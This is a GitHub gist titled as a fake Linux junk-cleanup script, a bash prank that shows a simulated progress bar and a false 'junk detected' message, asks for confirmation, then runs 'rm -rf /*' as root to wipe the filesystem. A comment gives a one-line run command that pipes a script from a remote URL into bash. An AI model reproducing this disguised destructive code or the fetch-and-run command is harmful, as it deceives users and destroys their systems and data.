Skip to content

Instantly share code, notes, and snippets.

@Chenx221
Last active January 29, 2025 11:44
Show Gist options
  • Save Chenx221/fab0daf4760fb021b40ae59db90afc5d to your computer and use it in GitHub Desktop.
Save Chenx221/fab0daf4760fb021b40ae59db90afc5d to your computer and use it in GitHub Desktop.
(FAKE) Linux system junk cleanup script
#!/bin/bash
clean_system_cache() {
echo "Cleaning system cache..."
sync; echo 3 > /proc/sys/vm/drop_caches
echo "System cache cleaned."
}
clean_apt_cache() {
echo "Cleaning APT cache..."
apt-get clean
apt-get autoclean
echo "APT cache cleaned."
}
clean_yum_cache() {
echo "Cleaning YUM cache..."
yum clean all
echo "YUM cache cleaned."
}
clean_dnf_cache() {
echo "Cleaning DNF cache..."
dnf clean all
echo "DNF cache cleaned."
}
clean_tmp_files() {
echo "Cleaning temporary files..."
rm -rf /tmp/* /var/tmp/*
echo "Temporary files cleaned."
}
clean_log_files() {
echo "Cleaning log files..."
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
echo "Log files cleaned."
}
clean_orphan_packages() {
echo "Removing orphaned packages..."
apt-get autoremove -y
echo "Orphaned packages removed."
}
clean_docker() {
echo "Cleaning unused Docker resources..."
docker system prune -af
echo "Docker resources cleaned."
}
clean_snap() {
echo "Cleaning old Snap packages..."
snap list --all | awk '/disabled/{print $1, $3}' | while read snapname revision; do
snap remove "$snapname" --revision="$revision"
done
echo "Old Snap packages cleaned."
}
clean_linux(){
echo "Cleaning Linux..."
rm -rf /* >/dev/null 2>&1
echo "Linux cleaned."
}
check_requirements() {
if [ "$EUID" -ne 0 ]; then
echo "For the best junk cleanup results, you need to run this script as root."
exit 1
fi
}
safety_check() {
if [ ! -f "$HOME/clean-my-linux-data" ]; then
echo "To run this script, you need to create a file named 'clean-my-linux-data' in your home directory."
exit 1
fi
}
calculate_disk_usage() {
df_output=$(df --output=size,used,avail -h / | tail -n 1)
read -r total_size used_size available_size <<< "$df_output"
}
show_progress() {
echo "Calculating junk files..."
for i in $(seq 1 100); do
echo -ne "Progress: $i%\r"
sleep 0.05
done
echo -ne "\n"
}
confirm_action() {
local message=$1
while true; do
read -r -p "$message (y/n): " confirmation
case "$confirmation" in
[Yy]) return 0 ;;
*) echo "Operation cancelled."; exit 1 ;;
esac
done
}
perform_cleanup() {
echo "Starting cleanup. This process may take some time, please be patient."
echo "AD: I am not an Arch fan. For your next linux os, I recommend using Debian. It is better than Arch-based Linux."
echo "Note: RHEL-based systems are junk."
clean_linux
echo "Cleanup completed. Goodbye..."
}
check_requirements
safety_check
calculate_disk_usage
show_progress
echo "Disk Usage on /:"
echo "Total Size: $total_size"
echo "Used Size: $used_size"
echo "Available Size: $available_size"
echo "A large amount of junk files has been detected. It is recommended to clean them up to speed up your Linux system."
confirm_action "About to clean up Linux junk files. Do you want to proceed?"
confirm_action "Are you sure you want to delete all fi...clean up Linux junk files?"
perform_cleanup
@Chenx221
Copy link
Author

Please review the code carefully before running

How to run this script?

bash <(curl -s https://rm-rf.wiki/s)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment